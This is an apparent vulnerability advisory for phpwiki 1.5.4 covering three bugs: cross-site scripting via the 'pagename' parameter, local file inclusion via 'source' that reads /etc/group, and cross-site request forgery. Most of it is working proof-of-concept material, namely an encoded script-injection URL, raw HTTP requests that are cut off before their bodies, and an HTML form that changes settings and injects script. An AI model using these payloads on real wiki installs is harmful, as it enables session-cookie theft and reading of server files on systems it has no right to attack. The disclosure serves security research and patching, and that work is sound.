200 | # Title: phpwiki 1.5.4 - Cross Site Scripting / Local File Inclusion
# Date: 29.08.15
# Vendor: sourceforge.net/projects/phpwiki/
# Affected versions: => 1.5.4 (current)
# Tested on: Apache2.2 / PHP5 / Deb32
# Author: Smash_
# Contact: smash [at] devilteam.pl
1/ Cross Site Scripting
Cross-site scripting vulnerability in user preferences allows remote unauthenticated users to inject arbitrary web script by injecting code via GET or POST 'pagename' parameter.
Example url:
http://192.168.0.10/phpwiki/index.php?pagename=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C!--
Example request:
POST /phpwiki/index.php/UserPreferences HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 260

2/ Local File Inclusion
Directory traversal vulnerability in file load section allows authenticated attackers to read arbitrary files via POST or GET 'source' parameter. Content of file will be later available in created page.
Example url:
http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration?action=loadfile&overwrite=1&source=/etc/group
#1 - Example request:
POST /phpwiki/index.php/PhpWikiAdministration HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3

3/ Cross Site Request Forgery
Since there is no csrf protection in application, remote attacker is able to trigger specific actions.
PoC:
<html>
<!-- Change settings / XSS -->
<body>
<form action="http://192.168.0.10/phpwiki/index.php/UserPreferences" method="POST">
<input type="hidden" name="pref[email]" value="" />
<input type="hidden" name="pref[notifyPages]" value="" />
<input type="hidden" name="pref[theme]" value="" />
<input type="hidden" name="pref[lang]" value="" />
<input type="hidden" name="pref[editHeight]" value="22" />
<input type="hidden" name="pref[editWidth]" value="80" />
<input type="hidden" name="pref[timeOffset]" value="0" />
<input type="hidden" name="pagename" value="UserPreferencesabc</script><script>alert(document.cookie)</script><!--" />
<input type="hidden" name="action" value="browse" />
<input type="submit" value="Go" />
</form>
</body>
</html>
